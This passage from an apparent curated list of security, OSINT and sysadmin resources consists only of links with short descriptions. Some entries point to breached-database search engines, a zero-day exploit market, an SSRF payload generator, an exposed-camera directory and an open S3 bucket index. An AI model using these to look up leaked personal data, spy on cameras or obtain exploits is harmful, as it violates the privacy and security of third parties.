&nbsp;&nbsp;:small_orange_diamond: <a href="https://app.binaryedge.io/"><b>binaryedge</b></a> - it scan the entire internet space and create real-time threat intelligence streams and reports.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://spyse.com/"><b>Spyse</b></a> - Internet assets registry: networks, threats, web objects, etc.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://wigle.net/"><b>wigle</b></a> - is a submission-based catalog of wireless networks. All the networks. Found by Everyone.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://publicwww.com/"><b>PublicWWW</b></a> - find any alphanumeric snippet, signature or keyword in the web pages HTML, JS and CSS code.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://inteltechniques.com/index.html"><b>IntelTechniques</b></a> - this repository contains hundreds of online search utilities.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://hunter.io/"><b>hunter</b></a> - lets you find email addresses in seconds and connect with the people that matter for your business.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://ghostproject.fr/"><b>GhostProject?</b></a> - search by full email address or username.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.databreaches.live/"><b>databreaches</b></a> - was my email affected by data breach?<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://weleakinfo.com"><b>We Leak Info</b></a> - world's fastest and largest data breach search engine.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://pulsedive.com/"><b>Pulsedive</b></a> - scans of malicious URLs, IPs, and domains, including port scans and web requests.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://buckets.grayhatwarfare.com/"><b>Buckets by Grayhatwarfar</b></a> - database with public search for Open Amazon S3 Buckets and their contents.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://vigilante.pw/"><b>Vigilante.pw</b></a> - the breached database directory.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://builtwith.com/"><b>builtwith</b></a> - find out what websites are built with.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://nerdydata.com/"><b>NerdyData</b></a> - search the web's source code for technologies, across millions of sites.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://zorexeye.com/"><b>zorexeye</b></a> - search for sites, images, apps, softwares & more.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.mmnt.net/"><b>Mamont's open FTP Index</b></a> - if a target has an open FTP site with accessible content it will be listed here.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://osintframework.com/"><b>OSINT Framework</b></a> - focused on gathering information from free tools or resources.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.maltiverse.com/search"><b>maltiverse</b></a> - is a service oriented to cybersecurity analysts for the advanced analysis of indicators of compromise.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://leakedsource.ru/main/"><b>Leaked Source</b></a> - is a collaboration of data found online in the form of a lookup.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://search.weleakinfo.com/"><b>We Leak Info</b></a> - to help everyday individuals secure their online life, avoiding getting hacked.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://pipl.com/"><b>pipl</b></a> - is the place to find the person behind the email address, social username or phone number.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://abuse.ch/"><b>abuse.ch</b></a> - is operated by a random swiss guy fighting malware for non-profit.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://malc0de.com/database/"><b>malc0de</b></a> - malware search engine.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://cybercrime-tracker.net/index.php"><b>Cybercrime Tracker</b></a> - monitors and tracks various malware families that are used to perpetrate cyber crimes.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/eth0izzle/shhgit/"><b>shhgit</b></a> - find GitHub secrets in real time.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://searchcode.com/"><b>searchcode</b></a> - helping you find real world examples of functions, API's and libraries.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://www.insecam.org/"><b>Insecam</b></a> - the world biggest directory of online surveillance security cameras.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://index-of.es/"><b>index-of</b></a> - contains great stuff like: security, hacking, reverse engineering, cryptography, programming etc.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://opendata.rapid7.com/"><b>Rapid7 Labs Open Data</b></a> - is a great resources of datasets from Project Sonar.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://webtechsurvey.com/common-response-headers"><b>Common Response Headers</b></a> - the largest database of HTTP response headers.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://labs.inquest.net"><b>InQuest Labs</b></a> - InQuest Labs is an open, interactive, and API driven data portal for security researchers.<br> </p> ##### :black_small_square: Generators <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://thispersondoesnotexist.com/"><b>thispersondoesnotexist</b></a> - generate fake faces in one click - endless possibilities.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://generated.photos"><b>AI Generated Photos</b></a> - 100.000 AI generated faces.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.fakenamegenerator.com/"><b>fakenamegenerator</b></a> - your randomly generated identity.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://tools.intigriti.io/redirector/"><b>Intigriti Redirector</b></a> - open redirect/SSRF payload generator.<br> </p> ##### :black_small_square: Passwords <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://haveibeenpwned.com/"><b>have i been pwned?</b></a> - check if you have an account that has been compromised in a data breach.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.dehashed.com/"><b>dehashed</b></a> - is a hacked database search engine.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://leakedsource.ru/"><b>Leaked Source</b></a> - is a collaboration of data found online in the form of a lookup.<br> </p> ##### :black_small_square: CVE/Exploits databases <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://cve.mitre.org/"><b>CVE Mitre</b></a> - list of publicly known cybersecurity vulnerabilities.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.cvedetails.com/"><b>CVE Details</b></a> - CVE security vulnerability advanced database.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.exploit-db.com/"><b>Exploit DB</b></a> - CVE compliant archive of public exploits and corresponding vulnerable software.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://0day.today/"><b>0day.today</b></a> - exploits market provides you the possibility to buy/sell zero-day exploits.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://sploitus.com/"><b>sploitus</b></a> - the exploit and tools database.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://cxsecurity.com/exploit/"><b>cxsecurity</b></a> - free vulnerability database.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.vulncode-db.com/"><b>Vulncode-DB</b></a> - is a database for vulnerabilities and their corresponding source code if available.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://cveapi.com/"><b>cveapi</b></a> - free API for CVE data.<br> </p> ##### :black_small_square: Mobile apps scanners <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.immuniweb.com/mobile/"><b>ImmuniWeb® Mobile App Scanner</b></a> - test security and privacy of mobile apps (iOS & Android).<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://vulnerabilitytest.quixxi.com/"><b>Quixxi</b></a> - free Mobile App Vulnerability Scanner for Android & iOS.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.ostorlab.co/scan/mobile/"><b>Ostorlab</b></a> - analyzes mobile application to identify vulnerabilities and potential weaknesses.<br> </p> ##### :black_small_square: Private Search Engines <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.startpage.com/"><b>Startpage</b></a> - the world's most private search engine.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://searx.me/"><b>searX</b></a> - a privacy-respecting, hackable metasearch engine.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://darksearch.io/"><b>darksearch</b></a> - the 1st real Dark Web search engine.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.qwant.com/"><b>Qwant</b></a> - the search engine that respects your privacy.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://duckduckgo.com/"><b>DuckDuckGo</b></a> - the search engine that doesn't track you.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://swisscows.com/"><b>Swisscows</b></a> - privacy safe web search<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://search.disconnect.me/"><b>Disconnect</b></a> - the search engine that anonymizes your searches.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://metager.org/"><b>MetaGer</b></a> - the search engine that uses anonymous proxy and hidden Tor branches.<br> </p> ##### :black_small_square: Secure Webmail Providers <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://countermail.com/"><b>CounterMail</b></a> - online email service, designed to provide maximum security and privacy.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://mail2tor.com/"><b>Mail2Tor</b></a> - is a Tor Hidden Service that allows anyone to send and receive emails anonymously.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://tutanota.com/"><b>Tutanota</b></a> - is the world's most secure email service and amazingly easy to use.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://protonmail.com/"><b>Protonmail</b></a> - is the world's largest secure email service, developed by CERN and MIT scientists.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.startmail.com/en/"><b>Startmail</b></a> - private & encrypted email made easy.<br> </p> ##### :black_small_square: Crypto <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://keybase.io/"><b>Keybase</b></a> - it's open source and powered by public-key cryptography.<br> </p> ##### :black_small_square: PGP Keyservers <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://keyserver.ubuntu.com/"><b>SKS OpenPGP Key server</b></a> - services for the SKS keyservers used by OpenPGP.<br> </p> #### Systems/Services &nbsp;[<sup>[TOC]</sup>](#anger-table-of-contents) ##### :black_small_square: Operating Systems <p> &nbsp;&nbsp;:small_orange_diamond: <a href="http://www.slackware.com/"><b>Slackware</b></a> - the most "Unix-like" Linux distribution.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.openbsd.org/"><b>OpenBSD</b></a> - multi-platform 4.4BSD-based UNIX-like operating system.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://hardenedbsd.org/"><b>HardenedBSD</b></a> - HardenedBSD aims to implement innovative exploit mitigation and security solutions.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.kali.org/"><b>Kali Linux</b></a> - Linux distribution used for Penetration Testing, Ethical Hacking and network security assessments.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.parrotsec.org/"><b>Parrot Security OS</b></a> - cyber security GNU/Linux environment.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.backbox.org/"><b>Backbox Linux</b></a> - penetration test and security assessment oriented Ubuntu-based Linux distribution.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://blackarch.org/"><b>BlackArch</b></a> - is an Arch Linux-based penetration testing distribution for penetration testers.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.pentoo.ch/"><b>Pentoo</b></a> - is a security-focused livecd based on Gentoo.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://securityonion.net/"><b>Security Onion</b></a> - Linux distro for intrusion detection, enterprise security monitoring, and log management.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://tails.boum.org/"><b>Tails</b></a> - is a live system that aims to preserve your privacy and anonymity.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/vedetta-com/vedetta"><b>vedetta</b></a> - OpenBSD router boilerplate.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.qubes-os.org"><b>Qubes OS</b></a> - is a security-oriented OS that uses Xen-based virtualization.<br> </p> ##### :black_small_square: HTTP(s) Services <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://varnish-cache.org/"><b>Varnish Cache</b></a> - HTTP accelerator designed for content-heavy dynamic web sites.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://nginx.org/"><b>Nginx</b></a> - open source web and reverse proxy server that is similar to Apache, but very light weight.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://openresty.org/en/"><b>OpenResty</b></a> - is a dynamic web platform based on NGINX and LuaJIT.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/alibaba/tengine"><b>Tengine</b></a> - a distribution of Nginx with some advanced features.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://caddyserver.com/"><b>Caddy Server</b></a> - is an open source, HTTP/2-enabled web server with HTTPS by default.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.haproxy.org/"><b>HAProxy</b></a> - the reliable, high performance TCP/HTTP load balancer.<br> </p> ##### :black_small_square: DNS Services <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://nlnetlabs.nl/projects/unbound/about/"><b>Unbound</b></a> - validating, recursive, and caching DNS resolver (with TLS).<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.knot-resolver.cz/"><b>Knot Resolver</b></a> - caching full resolver implementation, including both a resolver library and a daemon.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.powerdns.com/"><b>PowerDNS</b></a> - is an open source authoritative DNS server, written in C++ and licensed under the GPL.<br> </p> ##### :black_small_square: Other Services <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/z3APA3A/3proxy"><b>3proxy</b></a> - tiny free proxy server.<br> </p> ##### :black_small_square: Security/hardening <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://twitter.com/EmeraldOnion"><b>Emerald Onion</b></a> - is a 501(c)(3) nonprofit organization and transit internet service provider (ISP).<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/pi-hole/pi-hole"><b>pi-hole</b></a> - the Pi-hole® is a DNS sinkhole that protects your devices from unwanted content.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/stamparm/maltrail"><b>maltrail</b></a> - malicious traffic detection system.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/Netflix/security_monkey"><b>security_monkey</b></a> - monitors AWS, GCP, OpenStack, and GitHub orgs for assets and their changes over time.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/firecracker-microvm/firecracker"><b>firecracker</b></a> - secure and fast microVMs for serverless computing.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/StreisandEffect/streisand"><b>streisand</b></a> - sets up a new server running your choice of WireGuard, OpenSSH, OpenVPN, and more.<br> </p> #### Networks &nbsp;[<sup>[TOC]</sup>](#anger-table-of-contents) ##### :black_small_square: Tools <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.capanalysis.net/ca/"><b>CapAnalysis</b></a> - web visual tool to analyze large amounts of captured network traffic (PCAP analyzer).<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/digitalocean/netbox"><b>netbox</b></a> - IP address management (IPAM) and data center infrastructure management (DCIM) tool.<br> </p> ##### :black_small_square: Labs <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://labs.networkreliability.engineering/"><b>NRE Labs</b></a> - learn automation by doing it. Right now, right here, in your browser.<br> </p> ##### :black_small_square: Other <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://ee.lbl.gov/"><b>LBNL's Network Research Group</b></a> - home page of the Network Research Group (NRG).<br> </p> #### Containers/Orchestration &nbsp;[<sup>[TOC]</sup>](#anger-table-of-contents) ##### :black_small_square: CLI Tools <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/google/gvisor"><b>gvisor</b></a> - container runtime sandbox.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/bcicen/ctop"><b>ctop</b></a> - top-like interface for container metrics.<br> </p> ##### :black_small_square: Web Tools <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/moby/moby"><b>Moby</b></a> - a collaborative project for the container ecosystem to assemble container-based system.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://traefik.io/"><b>Traefik</b></a> - open source reverse proxy/load balancer provides easier integration with Docker and Let's encrypt.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/Kong/kong"><b>kong</b></a> - The Cloud-Native API Gateway.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/rancher/rancher"><b>rancher</b></a> - complete container management platform.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/portainer/portainer"><b>portainer</b></a> - making Docker management easy.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/jwilder/nginx-proxy"><b>nginx-proxy</b></a> - automated nginx proxy for Docker containers using docker-gen.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/bunkerity/bunkerized-nginx"><b>bunkerized-nginx</b></a> - nginx docker image "secure by default".<br> </p> ##### :black_small_square: Security <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/docker/docker-bench-security"><b>docker-bench-security</b></a> - checks for dozens of common best-practices around deploying Docker.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/aquasecurity/trivy"><b>trivy</b></a> - vulnerability scanner for containers, suitable for CI.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://goharbor.io/"><b>Harbor</b></a> - cloud native registry project that stores, signs, and scans content.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://houdini.secsi.io/"><b>Houdini</b></a> - hundreds of offensive and useful docker images for network intrusion.<br> </p> ##### :black_small_square: Manuals/Tutorials/Best Practices <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/wsargent/docker-cheat-sheet"><b>docker-cheat-sheet</b></a> - a quick reference cheat sheet on Docker.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/veggiemonk/awesome-docker"><b>awesome-docker</b></a> - a curated list of Docker resources and projects.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/yeasy/docker_practice"><b>docker_practice</b></a> - learn and understand Docker technologies, with real DevOps practice!<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/docker/labs"><b>labs </b></a> - is a collection of tutorials for learning how to use Docker with various tools.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/jessfraz/dockerfiles"><b>dockerfiles</b></a> - various Dockerfiles I use on the desktop and on servers.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/kelseyhightower/kubernetes-the-hard-way"><b>kubernetes-the-hard-way</b></a> - bootstrap Kubernetes the hard way on Google Cloud Platform. No scripts.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/jamesward/kubernetes-the-easy-way"><b>kubernetes-the-easy-way</b></a> - bootstrap Kubernetes the easy way on Google Cloud Platform. No scripts.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/dennyzhang/cheatsheet-kubernetes-A4"><b>cheatsheet-kubernetes-A4</b></a> - Kubernetes CheatSheets in A4.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/kabachook/k8s-security"><b>k8s-security</b></a> - kubernetes security notes and best practices.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://learnk8s.io/production-best-practices/"><b>kubernetes-production-best-practices</b></a> - checklists with best-practices for production-ready Kubernetes.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/freach/kubernetes-security-best-practice"><b>kubernetes-production-best-practices</b></a> - kubernetes security - best practice guide.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/hjacobs/kubernetes-failure-stories"><b>kubernetes-failure-stories</b></a> - is a compilation of public failure/horror stories related to Kubernetes.<br> </p> #### Manuals/Howtos/Tutorials &nbsp;[<sup>[TOC]</sup>](#anger-table-of-contents) ##### :black_small_square: Shell/Command line <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/dylanaraps/pure-bash-bible"><b>pure-bash-bible</b></a> - is a collection of pure bash alternatives to external processes.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/dylanaraps/pure-sh-bible"><b>pure-sh-bible</b></a> - is a collection of pure POSIX sh alternatives to external processes.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/Idnan/bash-guide"><b>bash-guide</b></a> - is a guide to learn bash.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/denysdovhan/bash-handbook"><b>bash-handbook</b></a> - for those who wanna learn Bash.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://wiki.bash-hackers.org/start"><b>The Bash Hackers Wiki</b></a> - hold documentation of any kind about GNU Bash.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://pubs.opengroup.org/onlinepubs/9699919799/utilities/contents.html"><b>Shell & Utilities</b></a> - describes the commands offered to application programs by POSIX-conformant systems.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/jlevy/the-art-of-command-line"><b>the-art-of-command-line</b></a> - master the command line, in one page.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://google.github.io/styleguide/shellguide.html"><b>Shell Style Guide</b></a> - a shell style guide for Google-originated open-source projects.<br> </p> ##### :black_small_square: Text Editors <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://vim.rtorr.com/"><b>Vim Cheat Sheet</b></a> - great multi language vim guide.<br> </p> ##### :black_small_square: Python <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://awesome-python.com/"><b>Awesome Python</b></a> - a curated list of awesome Python frameworks, libraries, software and resources.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/gto76/python-cheatsheet"><b>python-cheatsheet</b></a> - comprehensive Python cheatsheet.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.pythoncheatsheet.org/"><b>pythoncheatsheet.org</b></a> - basic reference for beginner and advanced developers.<br> </p> ##### :black_small_square: Sed & Awk & Other <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://posts.specterops.io/fawk-yeah-advanced-sed-and-awk-usage-parsing-for-pentesters-3-e5727e11a8ad?gi=c8f9506b26b6"><b>F’Awk Yeah!</b></a> - advanced sed and awk usage (Parsing for Pentesters 3).<br> </p> ##### :black_small_square: \*nix & Network <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.cyberciti.biz/"><b>nixCraft</b></a> - linux and unix tutorials for new and seasoned sysadmin.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.tecmint.com/"><b>TecMint</b></a> - the ideal Linux blog for Sysadmins & Geeks.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://www.omnisecu.com/index.php"><b>Omnisecu</b></a> - free Networking, System Administration and Security tutorials.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/cirosantilli/linux-cheat"><b>linux-cheat</b></a> - Linux tutorials and cheatsheets. Minimal examples. Mostly user-land CLI utilities.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/snori74/linuxupskillchallenge"><b>linuxupskillchallenge</b></a> - learn the skills required to sysadmin.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://cb.vu/unixtoolbox.xhtml"><b>Unix Toolbox</b></a> - Unix/Linux/BSD commands and tasks which are useful for IT work or for advanced users.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://linux-kernel-labs.github.io/refs/heads/master/index.html"><b>Linux Kernel Teaching</b></a> - is a collection of lectures and labs Linux kernel topics.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://peteris.rocks/blog/htop/"><b>htop explained</b></a> - explanation of everything you can see in htop/top on Linux.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://linuxguideandhints.com/"><b>Linux Guide and Hints</b></a> - tutorials on system administration in Fedora and CentOS.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/NanXiao/strace-little-book"><b>strace-little-book</b></a> - a little book which introduces strace.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/goldshtn/linux-tracing-workshop"><b>linux-tracing-workshop</b></a> - examples and hands-on labs for Linux tracing tools workshops.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/bagder/http2-explained"><b>http2-explained</b></a> - a detailed document explaining and documenting HTTP/2.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/bagder/http3-explained"><b>http3-explained</b></a> - a document describing the HTTP/3 and QUIC protocols.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.manning.com/books/http2-in-action"><b>HTTP/2 in Action</b></a> - an excellent introduction to the new HTTP/2 standard.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.saminiir.com/lets-code-tcp-ip-stack-1-ethernet-arp/"><b>Let's code a TCP/IP stack</b></a> - great stuff to learn network and system programming at a deeper level.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/trimstray/nginx-admins-handbook"><b>Nginx Admin's Handbook</b></a> - how to improve NGINX performance, security and other important things.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/digitalocean/nginxconfig.io"><b>nginxconfig.io</b></a> - NGINX config generator on steroids.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://infosec.mozilla.org/guidelines/openssh"><b>openssh guideline</b></a> - is to help operational teams with the configuration of OpenSSH server and client.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://gravitational.com/blog/ssh-handshake-explained/"><b>SSH Handshake Explained</b></a> - is a relatively brief description of the SSH handshake.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://kb.isc.org/docs/using-this-knowledgebase"><b>ISC's Knowledgebase</b></a> - you'll find some general information about BIND 9, ISC DHCP, and Kea DHCP.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://packetlife.net/"><b>PacketLife.net</b></a> - a place to record notes while studying for Cisco's CCNP certification.<br> </p> ##### :black_small_square: Microsoft <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/infosecn1nja/AD-Attack-Defense"><b>AD-Attack-Defense</b></a> - attack and defend active directory using modern post exploitation activity.<br> </p> ##### :black_small_square: Large-scale systems <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/donnemartin/system-design-primer"><b>The System Design Primer</b></a> - learn how to design large-scale systems.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/binhnguyennus/awesome-scalability"><b>Awesome Scalability</b></a> - best practices in building High Scalability, High Availability, High Stability, and more.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://engineering.videoblocks.com/web-architecture-101-a3224e126947?gi=a896808d22a"><b>Web Architecture 101</b></a> - the basic architecture concepts.<br> </p> ##### :black_small_square: System hardening <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.cisecurity.org/cis-benchmarks/"><b>CIS Benchmarks</b></a> - secure configuration settings for over 100 technologies, available as a free PDF.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://highon.coffee/blog/security-harden-centos-7/"><b>Security Harden CentOS 7</b></a> - this walks you through the steps required to security harden CentOS.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.lisenet.com/2017/centos-7-server-hardening-guide/"><b>CentOS 7 Server Hardening Guide</b></a> - great guide for hardening CentOS; familiar with OpenSCAP.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/decalage2/awesome-security-hardening"><b>awesome-security-hardening</b></a> - is a collection of security hardening guides, tools and other resources.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/trimstray/the-practical-linux-hardening-guide"><b>The Practical Linux Hardening Guide</b></a> - provides a high-level overview of hardening GNU/Linux systems.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://madaidans-insecurities.github.io/guides/linux-hardening.html"><b>Linux Hardening Guide</b></a> - how to harden Linux as much as possible for security and privacy.<br> </p> ##### :black_small_square: Security & Privacy <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.hackingarticles.in/"><b>Hacking Articles</b></a> - LRaj Chandel's Security & Hacking Blog.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/toniblyx/my-arsenal-of-aws-security-tools"><b>AWS security tools</b></a> - make your AWS cloud environment more secure.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://inventory.rawsec.ml/index.html"><b>Rawsec's CyberSecurity Inventory</b></a> - an inventory of tools and resources about CyberSecurity.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://tls.ulfheim.net/"><b>The Illustrated TLS Connection</b></a> - every byte of a TLS connection explained and reproduced.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/ssllabs/research/wiki/SSL-and-TLS-Deployment-Best-Practices"><b>SSL Research</b></a> - SSL and TLS Deployment Best Practices by SSL Labs.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://selinuxgame.org/index.html"><b>SELinux Game</b></a> - learn SELinux by doing. Solve Puzzles, show skillz.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://smallstep.com/blog/everything-pki.html"><b>Certificates and PKI</b></a> - everything you should know about certificates and PKI but are too afraid to ask.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://appsecco.com/books/subdomain-enumeration/"><b>The Art of Subdomain Enumeration</b></a> - a reference for subdomain enumeration techniques.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://lifehacker.com/the-comprehensive-guide-to-quitting-google-1830001964"><b>Quitting Google</b></a> - the comprehensive guide to quitting Google.<br> </p> ##### :black_small_square: Web Apps <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.owasp.org/index.php/Main_Page"><b>OWASP</b></a> - worldwide not-for-profit charitable organization focused on improving the security of software.<br> &nbsp;&nbsp;:small_orange_diamond: <a 